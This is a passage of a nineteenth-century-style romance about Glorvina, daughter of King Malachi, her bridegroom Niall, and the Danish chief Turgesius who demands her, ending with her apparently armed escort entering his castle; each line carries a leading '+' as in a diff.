+"Once more, kind spirit!" exclaimed Niall; "once more!"
+
+"Once more!" returned the echo.
+
+"The wife of Niall!" ejaculated the youth, exerting his voice to its
+utmost capacity; but he heard not the voice of the echo. The arms of
+Glorvina were clasped about his neck, and her bright face was laid upon
+his cheek!
+
+"Companion of my childhood!--friend!--brother!" she exclaimed; and
+would have gone on, but checked herself, looked in his eyes for a
+moment, her forehead and her cheeks one blush, and buried her face in
+his breast.
+
+"Glorvina! Glorvina!" was all that Niall could utter in the intervals
+of the kisses which he printed thick upon her shining hair. "Glorvina!
+Glorvina!"
+
+"Come!" said Glorvina, with a voice of music such as harp never yet
+awakened; "come!" and straight led the way to her retreat.
+
+Slow was their gait as they walked side by side, touching each other.
+They spake not many words for a time. With the youth all language
+seemed to be concentred in the name of Glorvina; in the name of Niall
+with the maid. Suddenly Niall paused.
+
+"How many a time," exclaimed Niall, "when I have been miles and miles
+away, have I thought of the days when we used to walk thus! only my
+arm used then to be around your waist, while yours was laid upon my
+shoulder. Are we not the same Niall and Glorvina we were then?" The
+maid paused in her turn. She hesitated, but the next second her arm
+was on the shoulder of Niall; Niall's arm was again the girdle of
+Glorvina's waist. Language began to flow. Glorvina related minutely, as
+maiden modesty would permit her, the cause of her secluded retirement
+and reported death. As she spake, Niall drew her closer to him, and
+she shrank not; he leaned his cheek to hers, and she drew not away;
+he drank her breath as it issued in thrilling melody from her lips,
+and she breathed it yet more freely; she ceased, and those lips were
+in contact with his own, and not compulsively. Simultaneously Niall
+and Glorvina paused once more; they gazed--they cast a glance of
+thankfulness to heaven--gazed again--and, speechless and motionless,
+stood locked in one another's arms.
+
+"Glorvina!" cried a voice.
+
+The maid started and turned. Malachi stood before his daughter, the
+bard behind him.
+
+"Niall!" said Malachi. The youth was at the feet of the king. In a
+moment the maid was there also. Malachi stood with folded arms, looking
+thoughtfully and somewhat sternly down upon the prostrate pair. No one
+broke silence for a time.
+
+The bard was the first to speak.
+
+"Malachi," said the bard, "what is so strong as destiny? Whose speed is
+so swift? Whose foot is so sure? Who can outrace it, or elude it? Thy
+stratagem is found out. The Dane asks for thy fair child, although thou
+told'st him she was in the custody of the tomb. If thou showest her
+not to him, he will search for her. Niall has come in time. The voice
+of the prophetic Psalter has called him hither; he has come to espouse
+thy fair child; a bride thou must present her to the Dane. In the feast
+must begin the fray; by the fray will the peace be begotten that shall
+give safety and repose to the land. Malachi, reach forth thy hands!
+Lift thy children from the earth, and take them to thy bosom; and bow
+thy head in reverence to Fate!"
+
+The aged king obeyed. He raised Glorvina and Niall from the earth; he
+placed his daughter's hand in that of the youth: he extended his arms;
+they threw themselves into them.
+
+       *       *       *       *       *
+
+Bright shone the hall of Malachi at the bridal feast in honour of the
+nuptials of Niall and Glorvina; rapturously it rang with the harp and
+with the voice of many a minstrel; but the string of the bard was
+silent; his thoughts were not at the board; his absent looks rebuked
+the hour of mirth and gratulation; watchfulness was in them, and
+anxiety, and alarm. Still the mirth halted not, nor slackened. The
+king was joyous; on the countenances of Niall and Glorvina sat the
+smile of supreme content; the spirits of the guests were quickening
+fast with hilarity; and dancing eyes saluted every new visitor as he
+entered,--for the gates of the castle were thrown open to all. Suddenly
+the eyes of the whole assembly were turned upon the bard. He had
+started from his seat, and stood in the attitude of one who listens.
+
+"Hark!" he cried. He was obeyed. The uproar of the banquet subsided
+into breathless attention; yet nothing was heard, though the bard stood
+listening still. The feast was slowly renewed.
+
+"Cormack," said Malachi, in a tone of mingled good-nature and sarcasm,
+"what did you call upon us to listen to?"
+
+"The sound of steps that come!" replied the bard with solemnity, and
+slowly resuming his seat.
+
+"It is the steps of thy fingers along the strings then!" rejoined the
+king. "Come!--strike! A joyful strain!"
+
+"No joyful strain I strike," said the bard, "till the land shall be
+free from him whose footsteps now are turned towards thy threshold, and
+shall cross it ere the feast is half gone by."
+
+"No joyful strain thou'lt strike till then!" said the king. "Come, take
+thy harp, old man, and show thy skill; and play not the prophet when it
+befits thee to be the reveller!"
+
+The bard responded not by word, action, or look, to the command or
+request of Malachi. He sat, all expectation, on the watch for something
+that his ear was waiting for.
+
+"Nay, then," said the king, "an thou wilt not play the bard, whose
+office 'tis, thy master will do it for thee!" and Malachi pushed back
+his seat, and reached to the harp, which stood neglected beside the
+bard: he drew it towards him; his breast supported it; he extended his
+arms, and spread his fingers over the strings. "Now!" said Malachi.
+
+"Now!" said the bard, starting up again, as the harsh blast of a
+trumpet arrested the hand of the king on the point of beginning the
+strain. Malachi started up too. All were upon their feet; and every eye
+was fixed upon the portal of the hall, beneath which stood Turgesius
+with a group of attendants.
+
+"He is come!" said the bard. "The feast is not crowned without the
+fray! He is come!" he repeated, as Malachi strode from his place, and
+with extended hand approached the visitor, who smilingly bowed to his
+welcome, and followed him to the head of the board, round which he cast
+his eyes till they alighted upon Glorvina. Malachi pointed to the seat
+beside himself, as Niall half gave place.
+
+"No!--there!" said Turgesius, pointing to the side of Glorvina. He
+approached the place where she sat with a cheek now as white as her
+nuptial vest; the person next her mechanically resigned his seat, and
+the rover took it.
+
+"The cup!" cried Turgesius. It was handed to him. With kindling eyes he
+lifted it, holding it for a second or two at full length; then, turning
+his gaze upon the bride, he gave "The health of Glorvina!"
+
+"Glorvina!--Glorvina and Niall!" rang around the board. The Dane
+started to his feet, snatching the cup from his lips, that were about
+to touch it; and lifting it commandingly on high, "Glorvina!" he
+repeated, casting a glance of haughty defiance round him; and, taking
+a deep draught, with another glance at the company, sat down, riveting
+his eyes upon the bride.
+
+The cloud of wrath overcast the bright face of Niall as he watched the
+licentious Dane. Frequently did he start, as upon the point of giving
+way to some rash impulse, and then immediately check himself. Now and
+then he looked towards the king, and turned away in disappointment to
+see that Malachi thought of nothing but the feast, and noted not the
+daring gaze which the rover kept bending on his child. He looked round
+the board, and saw with satisfaction that he was not the only one in
+whom festivity had given place to indignation; and, with the smile
+of fixed resolve, he interchanged glances with eyes lighted up with
+spirits like his own.
+
+Turgesius plied the cup; and, as he drained it, waxed more and more
+audacious. Regardless of the sufferings of the fair maid who sat
+lost in confusion, he praised aloud the charms of Glorvina, and gave
+utterance to the unholy passion with which they had inspired him.
+Nor had he arrived at the limits of his presumption yet. He caught
+her delicate hand, and held it in spite of her gentle, remonstrating
+resistance. He dared to raise it to his lips, and hold it there,
+covering it with kisses, till, the dread of consequences lost in the
+dismay of outraged modesty, the royal maid by a sudden effort wrested
+it from him, at the same time springing upon her feet with the design
+of flying from the board; but the bold stranger, anticipating her, was
+up as soon as she, and, grasping her by the rich swell of her white
+arms, constrained her from departing.
+
+"No!" cried Turgesius, bending his insolent gaze upon the now burning
+face and neck of Glorvina. "No! enchanting one! Thus may not the Dane
+be served by the woman that inflames his soul with love," and at the
+same moment attempted to throw his arms around her.
+
+"Desist, robber!" thundered forth the voice of Niall, and, at the same
+moment, a goblet directed by his unerring aim stretched the Dane upon
+the floor. Outcry at once took place of revelry. The attendants of
+Turgesius, baring their weapons, rushed in the direction of Niall, but
+stopped short at the sight of treble the number of their glaives waving
+around him. They looked not for such hinderance. Since the Dane had
+got the upper hand, the Irish youth had been forbidden the practice or
+wearing of arms. They stopped, and stood irresolute. The voice of the
+king restored order.
+
+Malachi had hitherto sat strangely passive. He noted not the distress
+of Glorvina, the audacity of the Dane, or the gathering wrath of Niall;
+but the act of violence which had just taken place aroused him from his
+abstraction. He rose; and, extending his hand, commanded in a voice of
+impressive authority that the sword should be sheathed, and the seats
+resumed. Then calling to his attendants, he pointed to his prostrate
+guest, and signed to them to raise him, assisting them himself, and
+giving directions that he should be conveyed to his own chamber, and
+laid upon his own couch. This being performed, he motioned to Glorvina
+to withdraw from the hall, which she precipitately did, followed by
+her bridemaidens and other female friends, and casting an anxious,
+commiserating look upon Niall, whose wonder at the meaning of such a
+farewell was raised to astonishment, when, turning towards the king, he
+encountered the stern, repelling, and indignant gaze of Malachi.
+
+"Niall!" said the king, in a voice of suppressed rage, "depart our
+castle! Depart our realms! Withdraw from all alliance with our house!
+Our honour has been stained by thee to-night in thy unparalleled
+violation of the rights of hospitality. This roof never witnessed
+before now, the person of a guest profaned by a blow from its master,
+or from its master's friend. Consummation awaits not the rites that
+have been performed to-day. The obligation of those rites shall be
+dissolved! We mingle blood no further! Thou art henceforward an
+alien--an outlaw; and at the peril of thy life thou crossest, after
+this, our threshold, or the confines of our rule!" So saying, Malachi
+resumed his seat, and sat pointing in the direction of the door. Niall
+stood for a moment or two without attempting to move. His countenance,
+his limbs, his tongue seemed frozen by dismay and despair. At length
+he clasped his hands, and lifting them along with his eyes, to heaven,
+turned slowly from the king, and strode from the bridal feast.
+
+Niall felt his cloak twitched as he issued from the portal. It was the
+bard, who had quitted the hall before him, and remained waiting for the
+young man.
+
+"Niall," said the reverend man, "wilt thou now believe in the song of
+Destiny? From the knowledge of the past confide for the future. Hear
+what the Psalter saith:--'_The Dane shall rise from the couch, and
+shall sit at the feast again; but in the fray that shall follow that
+feast, he shall fall to rise no more._' The mountains are lofty in
+Moran, my son, where Slieve Dannard sits, with his feet in the sea, his
+head in the cloud, and his back to the lake of the lonely shieling.
+Turn thy steed thither! Lo, the sound of his feet! He is coming to
+receive thee."
+
+One on horseback appeared, leading another steed.
+
+"Mount," cried the bard, "and be ready."
+
+Niall was in the saddle. "Glorvina!" was all he could utter as he wrung
+the old man's hand. Several others on horseback came up. They were the
+friends of Niall, who had come to the bridal feast.
+
+"Come!" cried one of them.
+
+"Not yet," interposed the bard. "There are more to join you. Hear you
+not their horses' feet? You cannot be too many in company. Listen!"
+
+Another came up, and another.
+
+"Spurs!" exclaimed the old man; and the band of friends were in motion,
+and away. Little they spoke,--merely what sufficed to concert a plan
+for future meetings; and they dropped off one by one as the destination
+of each called him from the common track, till three of the party were
+all that now remained together,--Niall and two others.
+
+"We may progress softly now," remarked one of his companions. "We have
+crossed the boundaries of Meath, and half an hour will bring my lord to
+the place where he is to rest."
+
+In the voice of the speaker Niall recognised that of one of the oldest
+of Malachi's household.
+
+"The place where I am to rest?" echoed Niall.
+
+"Yes, my lord," rejoined the other. "It has been prepared for you; nor
+must you leave it till night sets in again. You will then forward with
+all speed till you are met by those who expect you, and will conduct
+you to where you must repose again. It will take you four nights to
+reach your place of destination, whither I precede you."
+
+"They who foresaw, have provided," said Niall, sighing.
+
+"They have," responded the other.
+
+"Had I been gifted with their reach of sight," exclaimed the young man,
+"I should have provided too, and Glorvina were now at my side! I would
+not have waited for the bridal feast! I would have borne her away the
+moment the holy man had blessed us."
+
+No further word was uttered, till, suddenly striking down a path that
+belted a small wood, they came all at once upon a hut, at the door of
+which they halted.
+
+"Alight!" said Niall's guide.
+
+Niall alighted, but the other kept his saddle; though his companion,
+the third of the riders, had dismounted, unobserved by Niall till now.
+
+"And now, my lord, good night!" said he that remained on horseback.
+"The door opens, and light streams from it. You see you are expected. I
+leave one to wait upon you while I go forward to make preparations for
+your further progress. So, again good night!" added he, putting spurs
+to his steed.
+
+Niall entered the hut, the hearth of which was blazing. He threw
+himself into a seat before the fire, and looked around him. The door of
+an inner apartment was open. He saw that a couch was ready for him,
+and such a one as he could hardly expect to meet with, in such an abode.
+
+"Come in!" said the owner of the hut,--an aged woman. "Come in!"
+
+"What's the matter?" inquired Niall.
+
+"Thy companion stands without," replied the dame, "and will not come
+in. Come in!" she repeated, but with no better success.
+
+"Come in, friend," said Niall. "Nay," added he, "there is no need of
+ceremony here;" and rising, went to the door, and reached his hand
+to the other, who hesitatingly took it. "Whoever thou art, we are
+companions for the time!" exclaimed Niall; "and, if they have no other
+couch for thee, I will even give thee share of my own!"
+
+Niall felt that his companion trembled as he pulled towards him the
+hand that he held. A seat, hastily placed, received the figure, which,
+but for the now supporting arms of Niall, would have fallen. Niall
+quickly threw open the folds of an ample cloak to give the owner air.
+What was his amazement to discover the form of a female! His heart
+stopped for a second or two at the thought that flashed across him!
+Another moment decided a question almost as momentous to him as that
+of life or death, when, removing a hat that was slouched over the face
+of the stranger, the bridegroom beheld his bride! Niall gazed upon his
+Glorvina half-swooning in his arms!
+
+"Revive!--revive, my loved one! My own!--my bride!--my wife!--my
+Glorvina!--revive!" rapidly ejaculated Niall. "Not so bright breaks
+the sun out of the storm, as thou, sweetest, my vision now! Where, a
+moment ago, could I have found, in my soul, hope--comfort--anything
+that belongs to happiness?--and, lo! now it overflows, full beyond
+measure with content--bliss--transport! Revive, my Glorvina! Speak to
+me! Thy form is in my arms! They feel that they surround thee, yet
+with a doubt. Assure me 'tis thyself! Pour on my entranced ear the
+music of thy rich voice! Convince me that it is indeed reality!--no
+dream--no vision--but Glorvina--my own Glorvina encircled within my
+arms--enfolded to the breast of Niall!"
+
+Half-suspended animation became suddenly restored; the blood rushed to
+the face and neck of the fair bride; she made an effort as if she would
+be released from the embrace in which she sat locked, but it resisted
+her. She desisted. She fixed her full eyes upon her lover. Affection,
+and modesty, and honour, were blended in the gaze which they bent upon
+him! The soul of Niall felt subdued. His arms, gradually relaxing their
+pressure, fell from the lovely form which they could have held prisoner
+for ever. He dropped on his knee at her feet; he caught her hand, and
+pressed it to his lips with the fervour and deference of duteous,
+idolizing love.
+
+"Niall," said Glorvina, "I am thy bride; I have plighted my troth to
+thee! Whatever be my worth,--in person, feature, heart, and mind,--I am
+thine!--all thine!--thine, as the hand that now is locked in thy own is
+a part of me! Yet--" She faltered, and her eyes fell; and she raised
+them not again till she had concluded what she meant to say. "Yet," she
+resumed, "I had not left my father's roof this night to follow thee,
+but from the dread of outrage when thou wast no longer near me. I came
+with thee--unknown to thee--for protection; for by thy side alone I
+feel security. I feel I have a right to find it!--nowhere so entitled
+to it! nowhere so sure to meet it!"
+
+Glorvina ceased. Niall, still kneeling, kept gazing upon her face,
+watching her lids till she would raise them. Slowly she lifted them,
+as again and again he breathed her sweet name; till at length her eyes
+encountered Niall's, beaming with reverence and love. He drew her
+gently towards him. She did not resist. She bowed her fair head till
+it rested on his shoulder; her arm half encircled his neck! It was a
+moment of unutterable bliss,--yet but a moment! The very next was one
+of alarm. The hoofs of a steed were heard. Niall darted towards the
+door; his sword flew from its scabbard.
+
+"Who comes?" he exclaimed, in a voice of defiance.
+
+"A friend," replied the horseman; "but a friend who is the forerunner
+of foes. You are pursued. I had only a dozen minutes the start of
+them,--if so much! Listen to the words of one who loves thee--the
+words of Cormack--of the bard. 'Tell him,' said he, 'thus saith the
+Psalter:--_The land must obtain her freedom ere the bridegroom his
+rights. What the altar shall grant must be enjoyed by means of the
+sword!_ Niall must journey on to the lake of the lonely shieling!
+Thither shall gather to him the choice and true among the sons of the
+land. Them shall he train in arms. Them shall he bring with him to
+fetch his bride, long wedded ere a wife. Glorvina must return! Niall
+stood confounded; but Glorvina was herself. She rose from her seat. She
+approached the door, and listened.
+
+"They are at hand!" she cried. "I hear their trampling. Niall, I am
+resolved. 'Tis vain to resist fate. Its hand it is that severs us for
+the present. Thy life is in peril if they find thee. I go to meet them.
+I will thereby stop pursuit. Farewell!"
+
+Niall heard not. Glorvina reached her hand to the horseman, who helped
+her up behind him. Niall saw it not! She extended her white arms
+towards him; he moved not. Once more she said farewell, and not a word
+did he utter in reply. She departed. Niall took no more note of her
+vanishing form, than the post of the door against which he was leaning.
+
+       *       *       *       *       *
+
+Malachi impatiently awaited the return of those whom he had despatched
+in pursuit of his daughter; whose flight, a Dane imposed upon the
+confidence of Malachi as a spy, had betrayed to the king. Sternly the
+father fixed his eyes upon his child as she entered; but with amazement
+encountered looks as firm, as indignant as his own. He forgot the
+reproaches that stood ready upon his lips. He gazed, but spake not.
+Glorvina broke silence.
+
+"Why hast thou taken back by force," said the maid, "what thou gavest
+of free will? To whose custody behoves it thee to give thy child--her
+husband's, or the ravisher's? Didst thou not sanction the vow? Didst
+thou not say '_amen_' to the blessing? Why are they then of no avail,
+and through thee? Did not thy command as a father cease when thou
+resignedst me to a husband? Why is it then resumed, and that husband
+alive? Did not the holy man pronounce us one? Why stand I here then
+in thy castle without him by my side? Love, honour, obedience, did I
+swear to render him; why have I been constrained to desert him, and by
+the father too who listened to the oath?"
+
+The maiden paused. Malachi remained silent. Yet longer she awaited his
+reply; still he spake not.
+
+"Thou hast welcomed in thy hall," she resumed, "whom thou shouldst
+have laid dead at thy threshold!" Her eyes now flashed as she spoke.
+"Thou hast extended the hand where thou shouldst have opposed the
+sword, though thou, and thine, and all allied to thee, had perished by
+the sword. Thou, a king, hast made friends with a robber, who, after
+stripping thy neighbours, advanced to plunder thee; and holdest that
+friendship on at the risk of dishonour to thy child,--whose modesty
+was outraged at thy board with impunity from thee to the offender, and
+with injury to him who dared resent the wrong. The dread of similar
+insult--if not of worse, stronger than the opposition of maiden
+reserve, compelled that child--unasked, unexpected, unpermitted--to
+fly for protection where protection had been promised, accepted,
+and sanctioned, but never experienced yet; and scarce had she found
+it when she was wrested from it, and brought back--brought back to
+the hall which the spoiler, whom she dreads, is as free to enter as
+she! And now--" She broke off. The eyes of Malachi were fixed on the
+ground; confusion, and care, and regret, were in his looks; a tear was
+trickling down his cheek! The maiden essayed to go on, but could not.
+Resolution wavered--it yielded more and more--it melted utterly away;
+she rushed towards her father, and fell, kneeling at his feet, and
+dissolved into tears. Malachi threw his arms around his child, lifted
+her to his breast, and held her there, mingling his tears with hers;
+both unconscious that Turgesius had entered the apartment, and stood
+glaring upon them.
+
+"She is found then?" said Turgesius. The father and child started, and
+withdrew from one another's embrace. "'Tis well!" continued he; "and
+now I will speak to thee what I have long borne in my mind to tell
+thee. I love thy daughter."
+
+Malachi stared at the Dane. His self-possession seemed to have utterly
+left him. Not so was it with Glorvina. She drew her tall and stately
+figure up till it towered again, as she stood collected with an
+expression of calm scorn upon her brow and lip. Her eyes were cast
+coldly down; her arms were folded upon her breast; she moved no more
+than a statue.
+
+"I love thy daughter," repeated the Dane impatiently.
+
+"Well?" faltered forth Malachi.
+
+"Well!" echoed the Dane. "Dost thou not comprehend my speech? Is it not
+enough to say I love her? Need I tell thee I would _have_ what I love?
+Requirest thou such wasting of words? Well, then, I love thy child, and
+desire that thou wilt give her to me!"
+
+Malachi mechanically moved his hand in the direction of his belt, but
+his sword was not there. He rose--he advanced towards Turgesius--he
+fixed upon him a look of fire--his lips trembling, and his cheek
+wavering between red and pale, his hands clenched and trembling.
+Turgesius in spite of himself drew back a pace.
+
+"Dane," said the king, in the voice of rage suppressed, yet ready
+to break forth, "dost thou ask me for the honour of my child? Dost
+thou offer to bring shame upon the roof that has given thee welcome,
+refreshment, and repose,--the roof of a king!--a king of ancient
+line!--a warrior, and thy host!"
+
+Turgesius stood momentarily abashed.
+
+"Thy honour!" at length he cried, "the honour of thy child can stand in
+no peril from me--a conqueror who profits wherever he smiles!--whose
+favour is honour, wealth, life!" he added emphatically,--"life, without
+which wealth and honour are of little avail! Come!" continued he,
+suddenly grasping the wrists of the old king as if in cordiality.
+"Come! Be no wrath between us! Thy armed men are few, and those less
+thy subjects than my slaves! My bands hover on the borders of thy
+kingdom; a part of them are here with their master in the very heart
+of it. True thou hast said. Thou hast been my host; thou hast received
+me as thy friend! I would not thou shouldst turn me into thy foe; for
+little, as thou knowest, it would avail thee. Talk not of things that
+are only imaginary, but pay heed to those that are real; for it is they
+that concern thee most. I love thy daughter. Give her to me, and 'tis
+well! Refuse her to me, and it is well still--for I will have her!"
+
+"Not with life in her!" exclaimed the frantic father, suddenly freeing
+himself from the hold of the Dane, rushing up to his daughter, plucking
+from her hair the large golden pin that held her tresses up, and
+pointing it to her heart. Turgesius stood transfixed. Glorvina never
+started nor flinched; but leaned her cheek forward upon her father's
+breast, looking up in his face and smiling. The king arrested his hand.
+The savage stood lost in amaze.
+
+"I thank thee, O my father!" Glorvina at length exclaimed; "thou lovest
+indeed thy child! It is destiny, and not thou, that has afflicted her.
+But--listen to thy Glorvina. On one condition I consent to leave thy
+hall, and present me at the castle of Turgesius to await his pleasure."
+
+"Name it, fair maiden!" cried Turgesius, his eyes sparkling up.
+
+"Twenty fair cousins have I," resumed Glorvina, "whose beauty far
+surpasses mine. They shall accompany me to the hold of Turgesius; he
+shall compare them with me, and if he finds one among them whom he
+prefers, her shall he take as my ransom. I doubt not of their consent.
+In ten days we shall present ourselves at his gate. Agrees he to wait
+that time, and retire to his hold till it expires? The conqueror of a
+king is not unworthy a king's daughter!"
+
+Malachi stared in amaze upon his child. Not so Turgesius. The
+countenance of the libertine was lighted up with triumph. "Be it so!"
+he exclaimed. "At the expiration of ten days I shall expect thee,
+attended as thou promisest; but if thou exceedest the time the half
+of another day, thou wilt not blame me, fair one, if I come to fetch
+thee?" He then approached Malachi, and taking the hand of the king
+without questioning whether it was given or not, shook it. Glorvina's
+hand next endured his obtrusive courtesy. He clasped it, raised it
+to his audacious lips, kissed it; and, turning exultingly away, with
+confident tread strode down the hall, and, summoning his attendants,
+departed from the castle.
+
+       *       *       *       *       *
+
+Ere a week had elapsed, the solitudes of Moran were peopled with the
+youth of the adjacent country. From miles they gathered; one spirit
+animating the breasts of all, one resolve,--to free the land, or
+perish! Readily they placed themselves under the command of Niall.
+He had won fame even while yet a boy. Then he had no competitor in
+the feats of strength or dexterity; while his ever-modest, generous
+bearing, divested defeat of chagrin on the part of the unsuccessful.
+Since then, he had sojourned with the Saxon, whose art of warfare
+he had thoroughly mastered, trained by the greatest captain of that
+nation. With avidity his young countrymen availed themselves of his
+instructions, and learned a mode of attack and defence superior to that
+they had hitherto known. They practised incessantly the advance, the
+retreat, the wheel, the close and open order, the line, and the square,
+the use of the javelin, the sword, and the shield. Hour after hour
+their numbers swelled. The first quarter of the moon had witnessed the
+commencement of their gathering; the fourth looked upon them, a host
+prepared, and almost equal to give battle to the Dane.
+
+"Welcome, son of Cuthell!" exclaimed Niall, to a youth who, on a steed
+of foam, drew near. "Welcome! You see what a company we have here
+to greet you," continued he. "You see how we banquet! You like our
+revelry, and are come to make one among us! You are welcome, son of
+Cuthell! right welcome!"
+
+The youth gazed with wonder upon the bands that, reclined upon the
+borders of the lake of the lonely shieling, were enjoying a moment's
+repose in an interval of practice; then, turning upon Niall a look full
+of sad import, alighted, took him kindly by the hand, and led him yet
+further apart from the companions of his exile.
+
+"Niall!" began the young man, "it is a stout heart that defies the
+point of the spear, or the edge of the glaive; but greater is the
+fortitude that cowers not before the unseen weapons of misfortune. My
+soul is heavy with the tidings that I bring. Shall I speak them? Will
+Niall hear them, and not allow his manly spirit to faint?"
+
+"Speak them!" said Niall. "Stay! Whom concern they? The evil thou
+wouldst avert hath nearly come to pass. My soul sickens already! To
+whom do the tidings relate that demand such preparation? To whom _can_
+they relate but to Glorvina?" The head of Niall dropped upon his breast.
+
+"Injury," rejoined the other, "hath ever its solace with the
+brave,--revenge!"
+
+"It has!" exclaimed Niall, rearing his head, and directing towards his
+friend a glance of fire. "Is the maid in danger, or hath she suffered
+wrong? the wedded maid that plighted her troth to Niall: the bride that
+has not pressed the bridal couch?"
+
+"The couch that she shall press with another," resumed the young man,
+"is spread for her in the castle of Turgesius!" He paused, alarmed at
+the looks of Niall, from whose face the blood had fled.
+
+"Go on!" said Niall, after a time, articulating with difficulty; and,
+with clenched hands, folding his arms tightly upon his breast. "Go
+on!" he repeated, observing that the young man hesitated. "Tell me the
+whole! It is worse, I see, than I feared; but go on! Keep nothing from
+me!"
+
+"Turgesius has demanded thy bride for his mistress, and Glorvina----"
+The son of Cuthell stopped short, as if what was to follow was more
+than he had fortitude to give utterance to.
+
+"Has consented?" interrogated Niall, with a look of furious distraction.
+
+"Has consented," rejoined the young man,
+
+Niall stood transfixed for a minute or two; then smote his forehead
+fiercely with his hand, groaned, and cast himself upon the earth.
+
+The son of Cuthell left him to himself for a time. He spake not to him
+till he saw that his passion had got vent in tears; then he accosted
+him.
+
+"Revenge," said he, "stands upon its feet. It braces its arm for the
+blow! Not to see thee thus did I spur my steed into foam soon as I
+learned the news. Within a month did Glorvina promise to surrender
+herself to the arms of the rover. Five days remain unexpired. Up! Call
+thy friends around thee! inform them of the wrong, the dishonour that
+awaits thee. Ask them to avenge thee. Not a spear but will be grasped;
+not a foot but will be ready! You shall march upon the castle of
+Malachi. You shall demand your bride. You shall have her!"
+
+Niall sprang from the ground; he hastened towards his bands; his looks
+and pace spoke the errand of wrath and impatience. His friends were
+on their feet without the summons of his tongue. They simultaneously
+closed around him when he drew near, eagerness and inquiry in their
+eyes, whose sparkling vouched for spirits that were not slow to kindle.
+
+Niall told what he came to say; no voice replied to him. Silently the
+warriors formed themselves into the order of march; then turned their
+eyes upon Niall, waiting his command. He raised his sword aloft, and
+his eyes went along with it, followed by the eyes of all his little
+host. Slowly he bent the knee. Not a knee besides but also kissed the
+earth.
+
+"To Meath!" exclaimed Niall, springing up.
+
+"To Meath!" shouted every warrior, as the whole stood erect.
+
+Niall placed himself in the van; he moved on; they followed him.
+
+The last morning of the month lighted up the towers of Malachi; but
+gloomy was the brow of their lord. He paced his hall with hurried
+steps, every now and then casting an uneasy glance towards the door
+that communicated with the interior of the castle. The bard was seated
+near the exterior portal, his harp reclining on his breast, his arms
+extended across his frame, his fingers spread over its strings. Lively
+and loud was the chord that he struck, and bold was the strain that he
+began.
+
+"What kind of strain is that?" demanded the king, suddenly stopping,
+and directing towards the aged man a look of reproachful displeasure.
+
+"The strain befits the day and the deed," replied the bard, and went on.
+
+"Peace!" commanded Malachi.
+
+"Not till the feet are announced," rejoined the bard, "that bring
+the strife which maketh peace;" and he resumed the strain with new,
+redoubled fire, nor paused till the portal resounded with the summons
+of one impatient for admittance.
+
+The portal opened. Pale and breathless was he that passed in.
+
+"Thy news?" demanded Malachi.
+
+He whom he accosted tried to find utterance, but could not. He had come
+in speed; his strength and breath were exhausted. He stood for a minute
+or two, tottering; then staggered towards a seat.
+
+"A friend is coming," said the bard; "but he wears the face of a foe.
+Nor does he come alone; but prepared to demand what was forbidden;--to
+take what was withheld. Niall, with a host of warriors, is at thy gate.
+Thy bands that watch thy foe have left thy friend free to approach
+thee; but he comes in the form of the avenger."
+
+Scarcely had the bard pronounced the last word when the hall was half
+filled with armed men; Niall at their head. Jaded, yet fierce, were his
+looks. He strode at once up to the king, and stood silent for a time,
+confronting him.
+
+"Niall!" said the king, confounded; and paused.
+
+"Yes," said Niall, "it is I! the son-in-law of thy own election, come
+to demand his rights! Where is my bride, king of Meath? Where is thy
+daughter? the wedded maid who, denied to the arms of her bridegroom,
+has consented to surrender herself to unhallowed embraces! O, Malachi!
+accursed was the day when thou gavest welcome to the stranger, whose
+summons at thy gate was the knock which he gave with the hilt of his
+sword,--was the blast of the horn of war! Low lies the glory of thy
+race! From the king of a people art thou shrunk into the minion of a
+robber, who, not content with making a mockery of thy crown, brings
+openly pollution to thy blood! Where is thy child? Does the roof of her
+father still shelter her head? or does she hang it in shame beneath
+that of Turgesius? Where is she? Reply, O king, and promptly! for
+desperation grasps the weapons that we bring, and which we have sworn
+shall receive no sheaths at our hands but the breasts of those who
+dishonour us!"
+
+So spake the youth, his glaive in his hand, his frame trembling with
+high-wrought passion, his eye flashing, and his cheek on fire with the
+hectic of rage, when Glorvina entered the hall.
+
+She did not hang her head; she bore it proudly erect. A tiara of
+gems encircled her brow; fair fell a robe of green from her graceful
+shoulders. A girdle of gold round her waist confined the folds of
+her under-dress, swelling luxuriantly upwards and downwards, and
+falling to within an inch of her ankles, each of which a palm of a
+moderate span might encircle. She advanced three or four paces into
+the apartment, right in the direction of Niall, and then stood still;
+still fixing her eyes steadily upon her bridegroom with an expression
+in which neither defiance nor deprecation, neither reproach nor fear,
+neither recklessness nor shame, but love--all love--was apparent. Niall
+scarcely breathed! An awe came over his chafed spirit as he surveyed
+his bride. The more he looked, the more the clouds of wrath rolled away
+from his soul, until not a vestige of tempest remained. He uttered
+tenderly the name of Glorvina. He cast down his eyes in repentant
+humility; he approached her, half hesitating, without raising them. He
+sank on his knee at her feet; Glorvina recoiled at the posture of her
+lover. She extended her shining arms; she caught his hands in hers; she
+almost raised him herself from the earth, and vanished with him from
+the hall.
+
+       *       *       *       *       *
+
+The Dane looked from the ramparts at his castle. Twenty of his
+chiefs--the choicest--were about him. Expectation was painted in the
+looks of all. Their eyes were directed towards the same quarter.
+
+"They come!" at length exclaimed Turgesius. "The maiden hath kept her
+word. Yonder they issue from the wood!"
+
+"Those are soldiers!" remarked one.
+
+"Her attendants," rejoined Turgesius; "she comes as a royal maiden
+should!"
+
+"Then she is well attended. I'll answer for a hundred spears already;
+and more are coming on."
+
+"Let them!" said Turgesius. "Though they double the number, it were but
+twenty for each fair virgin, and the princess to go without. Turn out
+our bands, that we may receive them with all due courtesy!"
+
+Turgesius and his chiefs descended; they issued from the castle-gate;
+the bands of the Dane were drawn up ready to give salutation to the
+visitors. The Irish party drew near; they halted within fifty paces of
+the walls, and, unfolding their ranks, presented to the eyes of the
+Dane, Glorvina and her kinswomen, faithful to the appointment of the
+royal maid. All were veiled. Turgesius and his chiefs approached them;
+and Glorvina, when they drew near, removed the thick gauze from her
+face.
+
+"Chieftain!" she spake, "I am here to keep my word. Conduct us into thy
+castle. Compare me there with my kinswomen. If thou findest amongst
+them, her whom thou deemest more deserving thy love than I, accept her
+in place of me, and let me return to my father."
+
+"Be it so!" said Turgesius, casting a significant glance around him
+upon his chiefs; and led the way, Glorvina and her companions following.
+
+They passed into the hall of banquet. Turgesius led Glorvina to the
+head of the board, but not to place her there. He turned; and, as she
+looked down the chamber along with him, she saw that his chiefs had
+likewise entered it, and her respiration became difficult, and a chill
+passed over her frame.
+
+"Chiefs!" cried Turgesius, "you see what choice of beauty the bounty of
+Malachi has presented to your lord; but he cares not to avail himself
+of it. He asks not a damsel even to remove her veil, content with the
+charms of the fair Glorvina. Her does he lead to the banquet which has
+been prepared for her within. Welcome ye the daughters of Meath! Leave
+them no cause to tax the sons of the Dane with want of gallantry."
+Turgesius took the hand of Glorvina.
+
